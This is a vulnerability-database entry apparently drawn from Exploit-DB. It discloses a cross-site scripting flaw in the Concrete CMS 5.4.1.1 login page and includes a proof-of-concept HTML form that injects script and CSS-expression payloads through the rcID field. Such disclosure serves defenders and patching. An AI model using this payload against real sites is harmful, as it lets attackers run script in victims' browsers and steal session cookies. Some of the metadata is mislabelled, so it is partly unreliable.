Cross-Site Scripting Vulnerability in Concrete

vendor:

Concrete CMS

by:

Unknown

7.5

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: Concrete CMS

Affected Version From: 5.4.1.1

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2011-0438

CPE: a:concrete5:concrete5:5.4.1.1

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2013-1455/

Other Scripts:

Platforms Tested:

2011

Cross-Site Scripting Vulnerability in Concrete

Concrete is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user-supplied input before using it in any context.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/49276/info

Concrete is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Concrete 5.4.1.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/Concrete/index.php/login/do_login/"  method="post">
<input type="hidden" name="uName" value="test" />
<input type="hidden" name="uPassword" value="test" />
<input type="hidden" name="rcID" value=&#039;" style=display:block;color:red;width:9999;height:9999;z-index:9999;top:0;left:0;background-image:url(javascript:alert(/XSS/));width:expression(alert(/XSS/)); onmouseover="alert(/XSS/)&#039; />
<input type="submit" name="submit" value="Get Concrete CMS 5.4.1.1 XSS" />
</form>